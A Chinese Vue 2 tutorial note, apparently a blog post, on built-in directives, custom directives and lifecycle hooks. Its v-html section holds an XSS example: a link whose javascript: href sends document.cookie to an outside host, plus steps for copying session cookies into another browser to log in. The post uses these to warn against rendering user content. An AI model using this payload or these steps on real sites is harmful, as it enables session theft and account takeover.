一、Vue核心下篇
1.15 常用的内置指令
1. v-text
<!--准备好一个容器 -->
<div id="root">
<!-- 1.v-text中的字符替换掉div整个字符 -->
<div v-text="name">你好,{{name}}</div>
<!-- 2.将标签当做字符串解析 -->
<div v-text="str"></div>
</div>
new Vue({
el: '#root',
data: {
name: '哈哈哈',
str: '<h2>你好</h2>'
},
methods: {}
});
2.v-html
功能1.解析标签结构
<!--准备好一个容器 -->
<div id="root">
<!-- v-text将标签当做字符串解析 -->
<div v-text="str"></div>
<!-- 支持结构解析 -->
<div v-html="str"></div>
</div>
new Vue({
el: '#root',
data: {
name: '哈哈哈',
str: '<h2>你好</h2>'
}
});
功能2.安全性问题
步骤一:先讲cookie的工作原理
图上是登录github,这里我用csdn登录举例:
1.第一次请求和第一次响应对应①和②
我们在谷歌浏览器(其他浏览器也可以)登录csdn,输入用户名密码请求登录,发往csdn服务器;csdn服务器校验完成,就会返回给用户跳转个人中心,并且返回红色k1v1、k2v2等一大堆cookie字符串,这些字符串都属于csdn网站的重要信息(身份标识,包括用户名 密码);chrome浏览器接收之后就会保存这些网站的信息,放在放在一块区域,其他网站登录信息啥的,也需要chorme保存,但是存在放在其他区域。
2.第二次请求和第二次响应 对应③和④
已经登录在chorome浏览器的csdn用户想要查看自己blog里面的内容,如个人中、内容管理,都需要跳转页面,chorme就会发送请求给csdn服务器,并且带着之前保存的网站的cookie信息;csdn服务器经过校验就会响应,并且返回给网站cookie信息,也就是k3v3等信息(注意:这里信息有时候登录时机会返回所有cookie信息,有时是相应一点给一点)。k3v3等信息又会继续储存在chrome浏览器原来给这一网站划分的区域中。
步骤二:图下表示:但是chorme浏览器储存的用户csdn网站的cookie信息不能被其他浏览器知道,如果知道会很可怕!大家联想一下就会明白
服务器给的cookie至关重要!也就是如下信息如果被盗走,不轨之徒就可以利用这些信息虚拟用户身份,向csdn服务器发送cookie信息,并且进行登陆了!这样我们的信息就会被盗走了!!!
当然大家想要自己仿造,尅在chrome浏览器登录状态找到cookie信息,使用cookie editor插件复制,然后在例如火狐浏览器大局csdn网站,使用cookie editor插件粘贴就可以登陆了。
综上所述,所以cookie工作原理,实际上就是我们用淘宝买东西,在淘宝网登录自己密码用户名,而这些信息被放在网站的某一个位置,这些信息我们称为cookie,cookie存放的位置属于本地存储(application),所以不会丢失,这样我们在淘宝网浏览一页一页的东西肯定会牵涉到跳转页面,此时跳转页面也不会cookie信息丢失,也就是带着登录信息,我们只要获取这个登录信息都可以登录这个账号。
步骤三:联系到我们自己写的代码中:
data: {
name: '哈哈哈',
// 先尝试 看看点击能不能有alert弹出
// str: '<a href=javascript:alert(1)>你好</a>'
str: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>
一些具有诱惑性的语言 大家看到忍不住点</a>'
}
document.cookie下列情况可以使用这个办法获得用cookie信息
当然,大家也需要放心,官网网站都会有HttpOnliy选中模式,不会被盗取,可是没有被选中就倒霉了!!!
所以v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
如input框,用户已提交,如果不法分子在上面绑定了cookie,就会连带用户cookie信息一起获取
***这里有个问题:***想通过dovument.cokie只有用户可以查到信息,跳转页面也看不到这些信息啊?思路不是这样想的,依据cookie工作原理,用户自己页面其实就是登录上的状态,包含着自己的cookie信息,当你想要跳转其他页面的时候,其实到时候服务器返回的cookie信息不止当前页面的cookie信息,还包含之前的。并不是说肉眼没看到自己的key value(a:1;b:2)好像就没有。
3.v-cloak
原理:主要是为了解决网速过慢,导致未经解析的模版跑到页面上。那样做太丑了
给模版添加v-cloak,当vue.js还没有缓存出来的时候,因为v-cloak 添加了css隐藏属性 所以不会展示在页面 当缓存出来的同时v-cloak会自动消失,页面就出来了
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<style>
[v-cloak]{
display:none;
}
</style>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
new Vue({
el:'#root',
data:{
name:'尚硅谷'
}
})
4. v-once指令
v-once所在节点在初次动态渲染后就变成静态内容了,以后数据改变不会引起v-once所在结构的变化
<div id="root">
<!-- v-once所在节点在初次动态渲染后就变成静态内容了,以后数据改变不会引起v-once所在结构的变化 -->
<h2 v-once>初始化值是{{n}}</h2>
<h2>当前的n值是{{n}}</h2>
<button @click="n++">点我n++</button>
</div>
new Vue({
el: '#root',
data: {
n: 1
}
})
5.v-pre指令
<div id="root">
<!-- 加上该指令 Vue不需要解析,直接在页面上呈现里面的东西,也就是跳过指令语法 插值语法解析的操作,
用于一些不用解析的东西 会加快编译 -->
<h2 v-pre>Vue其实很简单</h2>
</div>
new Vue({
el: '#root',
data: {
n: 1
}
})
1.16 自定义指令
自定义指令有两种形式:函数式、对象式
需求一:定义一个v-big指令,和v-text指令功能类似,但会把绑定的数值放大10倍
思路:首先验证自定义big指令中,函数的参数表示什么;通过知道第二个参数存放着指令信息,利用bingding参数绑定dom元素和big指令信息展示在页面上。接着探讨big函数合适被调用,通过打印‘’big被调用‘’被输出来体现
<!--准备好一个容器 -->
<div id="root">
<h2>当前的n值是<span v-text="n"></span></h2>
<!-- 如果还未定义big函数 会报错 这里是因为没有定义big函数(另外如果在其他代码中可以联想是否单词写错两种情况) -->
<!-- 当定义了big函数之后 只要这里一使用V-big 就会调用big函数 -->
<h2>放大10倍后的值是<span v-big="n"></span></h2>
<button @click="n++">点我m++</button>
</div>
new Vue({
el: '#root',
// 配置数据
data: {
n: 1
}, directives: {
// big表示指令的名字
// 1.首先验证参数表示什么2,利用参数定义big
// 验证参数分别dom元素和对象 对象中主要关注value值是v-big等于的值
//第二个参数主要是让dom元素与v-big有一个关联 所以是binding 接着进行dom操作
big: function (element, binding) {
// 通过打印看被调用了几次
console.log('big函数被调用了 ')
// 指定所绑定的dom元素
console.dir(element)
// 使用instanceof验证真实dom
console.log(element instanceof HTMLElement)
// 一个包含指令信息的对象 主要关注value
console.dir(binding)
element.innerText = binding.value * 10
}
}
});
需求二:定义一个v-fbind指令,和v-bind指令功能类似,但会让绑定的input元素默认获取加焦点
<div id="root">
<input type="text" v-fbind:value="n">
<!-- <h2>放大10倍后的n值是<span v-big="n"></span></h2> -->
<button @click="n++">点击n++</button>
</div>
new Vue({
el: '#root',
data: {
n: 1
},
// 像之前的计算、侦听属性一样都是配置对象
directives: {
// 函数式为什么不好用了?
// fbind (element, binding) {
// console.log('bind函数被调用', this)
// element.value = binding.value * 20
// // 实现不了 首先要input框先放入页面才能聚焦 所以就引出了出现多个阶段才能实现 引出对象式 引出该自定义指令中包含几个钩子函数
// // element.focus()
// }
// 引出对象式
fbind: {
bind (element, binding) {
element.value = binding.value * 20
},
inserted (element, binding) {
element.focus()
}, update (element, binding) {
element.value = binding.value * 20
}
}
}
});
都是局部指令,将局部指令转化为全局指令
对象式
函数式
1.17 生命周期
1.引出生命周期
我们使用几个文字,将这些文字每隔一段时间自动(开启定时器)变淡。三种情况:第一种:使用methods方法,但是需要设置监听事件才能触发,不是我们想象的文字一展示在页面自动每隔一段时间就改变,pass 第二种,将定时器设置在vue实例外部,但是我要的是放在vue内部,所以pass 第三种:使用生命周期,当vue模版被解析到页面上挂载完毕,开始开启定时器
<!--准备好一个容器 -->
<div id="root">
<h2 :style="{opacity}">欢迎学习Vue</h2>
{{change()}}
</div>
const vm = new Vue({
el: '#root',
data: {
opacity: 1
},
methods: {
// 1.需要设置一个事件才能引起触发 不合理 pass
// change () {
// console.log('设置一个函数自动开启定时器')
// setInterval(() => {
// this.opacity -= 0.1
// if (this.opacity <= 0) this.opacity = 1
// }, 100)
// }
},
// 引出生命周期
// 用于Vue完成模版的解析并把刚开始的真实DOM放入页面后(挂载完毕),调用mounted 生命周期中this指向vm
mounted () {
setInterval(() => {
this.opacity -= 0.1
if (this.opacity <= 0) this.opacity = 1
}, 100)
}
})
// 2.在vue外部可以实现自动开启定时器 但是在vue外部不太好 pass
// setInterval(() => {
// vm.opacity -= 0.1
// if (vm.opacity <= 0) vm.opacity = 1
// }, 100)
2.分析生命周期
生命周期挂载流程
生命周期更新流程
更新周期代码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<script src="../../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器 -->
<div id="root">
<h2>当前的n值是{{n}}</h2>
<!-- 销毁的是原生dom事件 -->
<button @click="add">点我n+1</button>
<button @click="bye">点我销毁一下</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
// template: `
// <div><h2>当前的n值是{{n}}</h2>
// <button @click="n++">点我n+1</button></div>`,
data: {
n: 1
},
methods: {
add () {
console.log('add')
this.n++
},
},
beforeCreate () {
console.log('beforeCreate')
console.log(this)
// debugger
}, created () {
console.log('created')
console.log(this)
// debugger
}, beforeMount () {
console.log('beforeMount')
console.log(this)
// 在控制台操作能够演示变化 因为vue解析模版一系列过程是一瞬间的过程,所以太快根本看不出来变化
// document.querySelector('h2').innerText = '哈哈'
// debugger
},
mounted () {
console.log('mounted')
console.log(this)
// 查看是否为真实dom
// console.log(this.$el, this.$el instanceof HTMLElement)
// 有效但是尽量避免
// document.querySelector('h2').innerText = '哈哈'
// debugger
},
beforeUpdate () {
console.log('beforeUpdate')
// console.log(this.n)
// debugger
}, updated () {
console.log('updated')
// console.log(this.n)
// debugger
},
})
</script>
</body>
</html>
销毁周期代码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<script src="../../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器 -->
<div id="root">
<h2>当前的n值是{{n}}</h2>
<!-- 销毁的是自定义事件 原生dom事件不会销毁 即使销毁一万次 原生dom事件也不会销毁 所以vue页面上不会显示 但是在控制台还是能打印-->
<button @click="add">点我n+1</button>
<button @click="bye">点我销毁一下</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
// template: `
// <div><h2>当前的n值是{{n}}</h2>
// <button @click="n++">点我n+1</button></div>`,
data: {
n: 1
},
methods: {
add () {
// 这里我这边验证的是销毁了就是销毁了 跟老师讲的不一样
console.log('add')
this.n++
}, bye () {
this.$destroy()
}
// 销毁后不调用watch
}, watch: {
n () {
console.log('n变了')
}
},
beforeCreate () {
console.log('beforeCreate')
console.log(this)
// debugger
}, created () {
console.log('created')
console.log(this)
// debugger
}, beforeMount () {
console.log('beforeMount')
console.log(this)
// 在控制台操作能够演示变化 因为vue解析模版一系列过程是一瞬间的过程,所以太快根本看不出来变化
// document.querySelector('h2').innerText = '哈哈'
// debugger
},
mounted () {
console.log('mounted')
console.log(this)
// 查看是否为真实dom
// console.log(this.$el, this.$el instanceof HTMLElement)
// 有效但是尽量避免
// document.querySelector('h2').innerText = '哈哈'
// debugger
},
beforeUpdate () {
console.log('beforeUpdate')
// console.log(this.n)
// debugger
}, updated () {
console.log('updated')
// console.log(this.n)
// debugger
}, beforeDestroy () {
console.log('beforeDestroy')
console.log(this.n)
// 在此阶段所有对数据的而修改不会再触发更新了,就不要访问数据了
this.add()
}, destroyed () {
console.log('destroyed')
},
})
</script>
</body>
</html>
案例:通过生命周期来实现定时器的停止变换
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<script src="../../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 :style="{opacity}">欢迎学习Vue</h2>
<button @click="stop">点我停止变换</button>
<!-- 使用关闭定时器的方式很温柔 -->
<button @click="opacity=1">透明度设置为1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
opacity: 1
},
methods: {
stop () {
// clearInterval(this.timer)
this.$destroy()
}
},
mounted () {
// Vue完成模版的解析并把初始的真实DOM放入页面后(挂在完毕),调用mounted
console.log('mounted')
// 往vm中存 但是不用定义变量吗?这里就死记硬背吧 在vm中赋值 因为数据代理 vue会帮你做响应式
this.timer = setInterval(() => {
this.opacity -= 0.1
// 为什么加小于号 作者是因为避免跳过0直接变成负数
if (this.opacity <= 0) this.opacity = 1
}, 500)
}, beforeDestroy () {
console.log('vm即将驾鹤西游了')
// 只要销毁 就把一些东西安排好
clearInterval(this.timer)
},
})
</script>
</body>
</html>
](https://img-blog.csdnimg.cn/direct/e7128460effb4f98b9b852453d177f7a.png#pic_center)
总结生命周期